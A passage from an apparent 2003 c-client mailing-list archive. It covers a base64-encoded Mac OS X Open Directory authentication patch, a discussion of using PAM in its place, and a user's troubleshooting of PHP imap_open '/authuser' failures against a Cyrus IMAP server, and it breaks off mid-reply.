CisJCQkJCQkJCX0NCisJCQkJCQkJCWVsc2UNCisJCQkJCQkJCXsNCisJCQkJ CQkJCQlmcmVlKCBwTm9kZU5hbWUgKTsNCisJCQkJCQkJCQlwTm9kZU5hbWUg PSBuaWw7DQorCQkJCQkJCQl9DQorDQorCQkJCQkJCQllcnJvcjIgPSBkc0Rh dGFMaXN0RGVhbGxvY2F0ZSggZHNSZWYsIHBEYXRhTGlzdCApOw0KKwkJCQkJ CQl9DQorCQkJCQkJCWVsc2UNCisJCQkJCQkJew0KKwkJCQkJCQkJZXJyb3Ig PSBrRXJyR2V0UGF0aEZyb21MaXN0Ow0KKwkJCQkJCQl9DQorCQkJCQkJfQ0K KwkJCQkJfQ0KKwkJCQl9DQorCQkJCWVsc2UNCisJCQkJew0KKwkJCQkJZXJy b3IgPSBrRXJyRGF0YUxpc3RBbGxvY2F0ZTsNCisJCQkJfQ0KKwkJCX0NCisJ CX0NCisNCisJCWlmICggcE5vZGVOYW1lTGlzdCAhPSBuaWwgKQ0KKwkJew0K KwkJCWVycm9yMiA9IGRzRGF0YUxpc3REZWFsbG9jYXRlKCBkc1JlZiwgcE5v ZGVOYW1lTGlzdCApOw0KKwkJfQ0KKw0KKyAgICAgICAgZHNEYXRhQnVmZmVy RGVBbGxvY2F0ZSggZHNSZWYsIGJ1ZiApOw0KKwlyZXR1cm4oIGVycm9yICk7 DQorDQorfSAvLyBGaW5kRGlyZWN0b3J5Tm9kZXMNCisNCitzdGF0aWMgbG9u ZyBNeU9wZW5EaXJOb2RlICggdERpclJlZmVyZW5jZSBkaXJSZWYsDQorCQkJ ICAgIHREaXJOb2RlUmVmZXJlbmNlICpvdXROb2RlUmVmICkNCit7DQorICAg IGxvbmcgICAgc2lTdGF0dXMJCT0gbm9FcnI7DQorICAgIGNoYXIgICAgKnBO b2RlTmFtZQkJPSBuaWw7DQorICAgIA0KKyAgICAvLyBzaVN0YXR1cyA9IE9w ZW5EaXJlY3RvcnlTZXJ2aWNlcygpOw0KKyAgICBpZiAoIHNpU3RhdHVzICE9 IG5vRXJyICkNCisgICAgew0KKyAgICAgICAgICAgIHJldHVybiggc2lTdGF0 dXMgKTsNCisgICAgfQ0KKyAgICANCisgICAgLy8gRmluZCBhbmQgb3BlbiBs b2NhbCBub2RlDQorICAgIHNpU3RhdHVzID0gRmluZERpcmVjdG9yeU5vZGVz KCBkaXJSZWYsIG5pbCwgZURTTG9jYWxOb2RlTmFtZXMsICZwTm9kZU5hbWUg KTsNCisgICAgaWYgKCBzaVN0YXR1cyA9PSBub0VyciApDQorICAgIHsNCisg ICAgICAgICAgICBzaVN0YXR1cyA9IE9wZW5EaXJOb2RlKCBkaXJSZWYsIHBO b2RlTmFtZSwgb3V0Tm9kZVJlZiApOw0KKyAgICANCisgICAgICAgICAgICBm cmVlKCBwTm9kZU5hbWUgKTsNCisgICAgICAgICAgICBwTm9kZU5hbWUgPSBu aWw7DQorICAgIH0NCisgICAgDQorICAgIHJldHVybiBzaVN0YXR1czsNCit9 DQorDQorLyogQ2hlY2sgcGFzc3dvcmQNCisgKiBBY2NlcHRzOiBsb2dpbiBw YXNzd2Qgc3RydWN0DQorICoJICAgIHBhc3N3b3JkIHN0cmluZw0KKyAqCSAg ICBhcmd1bWVudCBjb3VudA0KKyAqCSAgICBhcmd1bWVudCB2ZWN0b3INCisg KiBSZXR1cm5zOiBwYXNzd2Qgc3RydWN0IGlmIHBhc3N3b3JkIHZhbGlkYXRl ZCwgTklMIG90aGVyd2lzZQ0KKyAqLw0KKw0KK3N0cnVjdCBwYXNzd2QgKmNo ZWNrcHcgKHN0cnVjdCBwYXNzd2QgKnB3LGNoYXIgKnBhc3MsaW50IGFyZ2Ms Y2hhciAqYXJndltdKQ0KK3sNCisgICAgaWYgKHB3LT5wd19wYXNzd2QgJiYg cHctPnB3X3Bhc3N3ZFswXSAmJiBwdy0+cHdfcGFzc3dkWzFdKQ0KKyAgICB7 DQorICAgICAgICBsb25nIGRpclN0YXR1cyA9IGVEU05vRXJyOw0KKyAgICAg ICAgdERpck5vZGVSZWZlcmVuY2Ugbm9kZVJlZiA9IE5VTEw7DQorICAgICAg ICB0RGlyUmVmZXJlbmNlIGRpclJlZiA9IE5VTEw7DQorICAgICAgICANCisg ICAgICAgIGRpclN0YXR1cyA9IGRzT3BlbkRpclNlcnZpY2UoICZkaXJSZWYg KTsNCisgICAgICAgIGlmICggZGlyU3RhdHVzID09IGVEU05vRXJyICkNCisg ICAgICAgIHsNCisgICAgICAgICAgICBkaXJTdGF0dXMgPSBNeU9wZW5EaXJO b2RlKCBkaXJSZWYsICZub2RlUmVmICk7DQorICAgICAgICB9DQorICAgICAg ICANCisgICAgICAgIGlmIChkaXJTdGF0dXMgPT0gZURTTm9FcnIpDQorICAg ICAgICB7DQorICAgICAgICAgICAgZGlyU3RhdHVzID0gRG9DbGVhclRleHRB dXRoKGRpclJlZiwgbm9kZVJlZiwgcHctPnB3X25hbWUsIHBhc3MpOw0KKyAg ICAgICAgfQ0KKyAgICAgICAgDQorICAgICAgICAvLyBBbnkgZXJyb3IgY2F1 c2VzIHVzIHRvIGZhaWwgKGluY2x1ZGluZyBmYWlsdXJlIG9mIGF1dGhlbnRp Y2F0aW9uLCBhYm92ZSkNCisgICAgICAgIGlmIChkaXJTdGF0dXMgIT0gZURT Tm9FcnIpDQorICAgICAgICB7DQorICAgICAgICAgICAgcHcgPSBOVUxMOw0K KyAgICAgICAgfQ0KKyAgICAgICAgDQorICAgICAgICBpZiAobm9kZVJlZikN CisgICAgICAgIHsNCisgICAgICAgICAgICBkc0Nsb3NlRGlyTm9kZSggbm9k ZVJlZiApOw0KKyAgICAgICAgfQ0KKyAgICAgICAgDQorICAgICAgICBpZiAo IGRpclJlZiAhPSBOVUxMICkNCisgICAgICAgIHsNCisgICAgICAgICAgICBk aXJTdGF0dXMgPSBkc0Nsb3NlRGlyU2VydmljZSggZGlyUmVmICk7DQorICAg ICAgICB9DQorICAgICAgICANCisgICAgICAgIHJldHVybiBwdzsgICAgDQor ICAgIH0NCisgICAgZWxzZQ0KKyAgICB7DQorICAgICAgICByZXR1cm4gTlVM TDsNCisgICAgfQ0KK30NCg== --0-528643101-1067478663=:83746-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Oct 29 21:56:32 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 29 Oct 2003 21:56:32 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5uRlU008616 for ; Wed, 29 Oct 2003 21:56:27 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5uPOA020863 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 29 Oct 2003 21:56:26 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9U5uKvE034694; Wed, 29 Oct 2003 21:56:20 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5s8fc020958 for ; Wed, 29 Oct 2003 21:54:08 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5s6TO019197 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 29 Oct 2003 21:54:06 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5s0aZ014854; Wed, 29 Oct 2003 21:54:00 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9U5s07E021563; Wed, 29 Oct 2003 21:54:00 -0800 Message-Id: Date: Wed, 29 Oct 2003 21:54:00 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Tom Brown Cc: c-client@u.washington.edu Subject: Re: Patch enabling authentication under Mac OS 10.3 (Panther) (fwd) In-Reply-To: <20031029210827.W85105-200000@maczipit.com> References: <20031029210827.W85105-200000@maczipit.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIII, Probability=5%, Report='IN_REP_TO, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thank you very much. Unfortunately, we can't use Apple's proprietary code in our distribution. I have been working with another individual in getting PAM to work with Mac OS X. He reports that imapd will build if you add CHECKPW=pam and BASELDFLAGS=-lpam to the osx section of imap-????/src/osdep/unix/Makefile, and edit ckp_pam.c so that it uses instead of . There's still problems getting it to work; I suspect it's a problem in his /etc/pam.d/imap file but I don't know what. If it's possible to get PAM working, this would be preferable. Standard interfaces are always better. By the way, is there any way for you (and the rest of the Mac OS X user community) to influence Apple to use the standard /usr/include/security for the PAM includes instead of its non-standard /usr/include/pam? NeXT was a nightmare with its non-standard include directories, and I'd hate to see Mac OS X go down the same path. Thanks. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 30 04:39:03 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 04:39:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCd2lU022105 for ; Thu, 30 Oct 2003 04:39:02 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCd0OA030645 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 04:39:00 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UCctXU083662; Thu, 30 Oct 2003 04:38:55 -0800 Received: from mxu7.u.washington.edu (mxu7.u.washington.edu [140.142.32.165]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCbLfc042308 for ; Thu, 30 Oct 2003 04:37:21 -0800 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu7.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCbIK5012061 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Oct 2003 04:37:20 -0800 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9UCb8he025638; Thu, 30 Oct 2003 13:37:09 +0100 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9UCb8S5031552; Thu, 30 Oct 2003 13:37:08 +0100 Message-Id: <2147483647.1067521028@tyrion.rrz.uni-koeln.de> Date: Thu, 30 Oct 2003 13:37:08 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: Tom Brown , c-client@u.washington.edu Subject: Re: Patch enabling authentication under Mac OS 10.3 (Panther) (fwd) In-Reply-To: References: <20031029210827.W85105-200000@maczipit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Mittwoch, 29. Oktober 2003 21:54 Uhr -0800 Mark Crispin=20 wrote: > Thank you very much. Unfortunately, we can't use Apple's proprietary = code > in our distribution. Hmm, is that because of the license or for ideological reasons? > If it's possible to get PAM working, this would be preferable. Standard > interfaces are always better. Agreed. However, if I'm not mistaken PAM *started* as proprietary Sun=20 software. Apple's Directory Service (or rather Open Directory) is part of=20 Darwin and as such open source:=20 . Who's to say=20 it won't be a standard soon? > By the way, is there any way for you (and the rest of the Mac OS X user > community) to influence Apple to use the standard /usr/include/security > for the PAM includes instead of its non-standard /usr/include/pam? It may be too late for that, but I'll try. -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Thu Oct 30 04:45:38 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 04:45:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCjclU022216 for ; Thu, 30 Oct 2003 04:45:38 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCjaOA030770 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 04:45:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UCjUSa033242; Thu, 30 Oct 2003 04:45:31 -0800 Received: from mxu6.u.washington.edu (mxu6.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCiRfc059342 for ; Thu, 30 Oct 2003 04:44:27 -0800 Received: from smtp-out.rrz.uni-koeln.de (smtp-out.rrz.Uni-Koeln.DE [134.95.19.53]) by mxu6.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UCiObn000418 for ; Thu, 30 Oct 2003 04:44:25 -0800 Received: from smtp.uni-koeln.de (lvr5.rrz.uni-koeln.de [134.95.19.103]) by smtp-out.rrz.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9UCiJhe026471; Thu, 30 Oct 2003 13:44:19 +0100 Received: from tyrion.rrz.uni-koeln.de (tyrion.rrz.Uni-Koeln.DE [134.95.128.1]) by smtp.uni-koeln.de (8.12.10/8.12.10) with ESMTP id h9UCiJS5032399; Thu, 30 Oct 2003 13:44:19 +0100 Message-Id: <2147483647.1067521459@tyrion.rrz.uni-koeln.de> Date: Thu, 30 Oct 2003 13:44:19 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Sebastian Hagedorn To: Mark Crispin Cc: Tom Brown , c-client@u.washington.edu Subject: Re: Patch enabling authentication under Mac OS 10.3 (Panther) (fwd) In-Reply-To: <2147483647.1067521028@tyrion.rrz.uni-koeln.de> References: <20031029210827.W85105-200000@maczipit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1; format=flowed Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Donnerstag, 30. Oktober 2003 13:37 Uhr +0100 Sebastian Hagedorn=20 wrote: >> By the way, is there any way for you (and the rest of the Mac OS X user >> community) to influence Apple to use the standard /usr/include/security >> for the PAM includes instead of its non-standard /usr/include/pam? > > It may be too late for that, but I'll try. FYI: Bug Reporter ID 3468225 -- Sebastian Hagedorn PGP key ID: 0x4D105B45 Ehrenfeldg=FCrtel 156 50823 K=F6ln http://www.spinfo.uni-koeln.de/~hgd/ From pinedev@shivax2.cac.washington.edu Thu Oct 30 07:08:20 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 07:08:20 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UF8KlU025186 for ; Thu, 30 Oct 2003 07:08:20 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UF8Iqm025879 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 07:08:18 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UF88vE029134; Thu, 30 Oct 2003 07:08:09 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UF79fc034316 for ; Thu, 30 Oct 2003 07:07:09 -0800 Received: from hercule.linuxquebec.com (dslcom1-137.express.oricom.ca [207.96.255.137]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UF77TN014500 for ; Thu, 30 Oct 2003 07:07:08 -0800 Received: from etienne.linuxquebec.com (etienne.intranet [10.10.1.215]) by hercule.linuxquebec.com (Postfix) with ESMTP id 769C91DA256 for ; Thu, 30 Oct 2003 10:07:07 -0500 (EST) Received: by etienne.linuxquebec.com (Postfix, from userid 500) id B912067288; Thu, 30 Oct 2003 10:06:30 -0500 (EST) Message-Id: <20031030100630.V25422@etienne.intranet> Date: Thu, 30 Oct 2003 10:06:30 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Etienne Goyer To: c-client@u.washington.edu Subject: authuser against a Cyrus imapd server, using PHP Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Urban-Legend: There is a lot of hidden information in mail header X-Uwash-Spam: Gauge=XIIII, Probability=14%, Report='LINES_OF_YELLING, LINES_OF_YELLING_2, SIGNATURE_SHORT_DENSE, SUPERLONG_LINE, UPPERCASE_25_50, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __SANE_MSGID, __UPPERCASE_25_50' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, I am new to the list. I do not know if the topic had been discussed in the past, but my search turned up nothing. I would like to use the authuser feature of c-client using PHP imap_open(). I understand that c-client will need to negociate with the IMAP server an SASL mechanism that support authcid/authzid separation; as far as I can tell, "PLAIN" is the only such mechanism c-client support. I am connecting to a Cyrus imapd server, which I coaxed into advertising "AUTH=PLAIN" in its CAPABILITY even when not under TLS/SSL. My problem are two fold : under either plaintext or SSL connection, I received the "Can't do /authuser with this server" error form c-client. I would like to try if it would workunder TLS, but it always fail with "TLS/SSL failure for localhost: SSL negotiation failed". Note that I have only a self-signed certificate, but that should not be a problem using novalidate-cert option, AFAIK. I am using c-client 2001a under RedHat 7.3. Example PHP code that fail with "Can't do /authuser with this server" : $mbox = imap_open("{localhost/notls/authuser=admin}INBOX", "user", "***"); $mbox = imap_open("{localhost:993/ssl/novalidate-cert/authuser=admin}INBOX", "user", "***"); The following example fail with "TLS/SSL failure for localhost: SSL negotiation failed" : $mbox = imap_open("{localhost/novalidate-cert/authuser=admin}INBOX", "user", "***"); In all the example. '***' represent admin's password. In case it could be of any help, here is what the server advertise for CAPABILITY : * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS \ NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND \ SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES STARTTLS AUTH=PLAIN The most disturbing part is that mailutil, compiled against the same c-client, work : [root@host root]# ./mailutil check -verbose -debug {localhost/notls/authuser=admin}INBOX [Trying IP address [127.0.0.1]] * OK host Cyrus IMAP4 Murder v2.1.15 server ready [host Cyrus IMAP4 Murder v2.1.15 server ready] 00000000 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES STARTTLS AUTH=PLAIN 00000000 OK Completed 00000001 AUTHENTICATE PLAIN warning: SECURITY PROBLEM: insecure server advertised AUTH=PLAIN + {localhost.localdomain/imap} username: test password: 00000001 OK Success (no protection) 00000002 CAPABILITY * CAPABILITY IMAP4 IMAP4rev1 ACL QUOTA LITERAL+ MAILBOX-REFERRALS NAMESPACE UIDPLUS ID NO_ATOMIC_RENAME UNSELECT CHILDREN MULTIAPPEND SORT THREAD=ORDEREDSUBJECT THREAD=REFERENCES LOGINDISABLED 00000002 OK Completed 00000003 STATUS INBOX (MESSAGES RECENT UNSEEN) * STATUS INBOX (MESSAGES 0 RECENT 0 UNSEEN 0) No new messages, 0 total in {localhost.localdomain:143/imap/notls/user="test"}INBOX 00000003 OK Completed 00000004 LOGOUT * BYE LOGOUT received [LOGOUT received] 00000004 OK Completed As far as I can tell by reading the source, the PHP imap_open() pass the mailbox string untouched to mail_open(). I am really confused; any input as to where to look for the source of this problem would be appreciated. Thank you very much for your insight ! -- Etienne Goyer Linux Québec Technologies Inc. http://www.LinuxQuebec.com etienne.goyer@linuxquebec.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 30 08:13:00 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 08:13:00 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGCxlU027036 for ; Thu, 30 Oct 2003 08:12:59 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGCvOA003711 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 08:12:57 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UGCkvE035788; Thu, 30 Oct 2003 08:12:47 -0800 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGBpfc049894 for ; Thu, 30 Oct 2003 08:11:51 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGBp5J020732 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 30 Oct 2003 08:11:51 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGBomw002023; Thu, 30 Oct 2003 08:11:50 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGBoOx001086; Thu, 30 Oct 2003 08:11:50 -0800 Message-Id: Date: Thu, 30 Oct 2003 08:11:49 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Etienne Goyer Cc: c-client@u.washington.edu Subject: Re: authuser against a Cyrus imapd server, using PHP In-Reply-To: <20031030100630.V25422@etienne.intranet> References: <20031030100630.V25422@etienne.intranet> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 30 Oct 2003, Etienne Goyer wrote: > My problem are two fold : under either plaintext or SSL connection, I > received the "Can't do /authuser with this server" error form c-client. "Can't do /authuser with this server" means that c-client does not recognize any server's SASL authenticators, and is therefore doing the LOGIN command. The LOGIN command can't do /authuser. I don't know what PHP may be doing. Perhaps it disables AUTH=PLAIN. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 30 08:35:50 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 30 Oct 2003 08:35:50 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGZolU027929 for ; Thu, 30 Oct 2003 08:35:50 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGZmOA004667 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 30 Oct 2003 08:35:48 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9UGZfxs028168; Thu, 30 Oct 2003 08:35:41 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGYwfc074472 for ; Thu, 30 Oct 2003 08:34:58 -0800 Received: from hercule.linuxquebec.com (dslcom1-137.express.oricom.ca [207.96.255.137]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9UGYlTN005192 for ; Thu, 30 Oct 2003 08:34:48 -0800 Received: from etienne.linuxquebec.com (etienne.intranet [10.10.1.215]) by hercule.linuxquebec.com (Postfix) with ESMTP id 24C3D1DA256 for ; Thu, 30 Oct 2003 11:34:45 -0500 (EST) Received: by etienne.linuxquebec.com (Postfix, from userid 500) id 0DC3D67288; Thu, 30 Oct 2003 11:34:08 -0500 (EST) Message-Id: <20031030113407.W25422@etienne.intranet> Date: Thu, 30 Oct 2003 11:34:07 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Etienne Goyer To: c-client@u.washington.edu Subject: Re: authuser against a Cyrus imapd server, using PHP In-Reply-To: ; from mrc@CAC.Washington.EDU on Thu, Oct 30, 2003 at 08:11:49AM -0800 References: <20031030100630.V25422@etienne.intranet> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit X-Urban-Legend: There is a lot of hidden information in mail header X-Uwash-Spam: Gauge=I, Probability=1%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, SIGNATURE_SHORT_DENSE, __CD, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, Oct 30, 2003 at 08:11:49AM -0800, Mark Crispin wrote: > On Thu, 30 